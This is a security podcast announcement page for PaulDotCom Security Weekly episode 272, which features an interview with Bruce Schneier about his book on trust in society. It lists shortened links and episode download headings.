http://tinyurl.com/HNTVNAZI
http://tinyurl.com/HNTV-SAUDCREDIT
http://tinyurl.com/HNTV-STRAFOR-SORRY
http://tinyurl.com/HackNakedRobinDaHood
http://tinyurl.com/HNTV-OCM-ORA2012
We're starting off 2012 with a special interview. Join us Thursday night at 6PM ET for a discussion with author and cryptographer Bruce Schneier on Episode 272 of PaulDotCom Security Weekly!
Bruce will give us an overview of his soon to be released book entitled Liars and Outliers: Enabling the Trust that Society Needs to Thrive. His latest book tackles questions such as "How does society function when you can't trust everyone?" and promises to give a better understanding of the mechanisms of trust in societal relationships.
Participate in our IRC channel or sit back and enjoy it live via the link below:
NOTE: The video will play the most recent show up until we are live!
Jason Fossen:
Drunken Security News Segment:
Episode 271 - Part 1 - Direct Audio Download
Episode 271 - Part 2 - Direct Audio Download
Episode Hosts:
Tune in to PaulDotCom Security Weekly TV, Hack Naked TV, and Hack Naked At Night episodes on our Bliptv channel.
Video Feeds: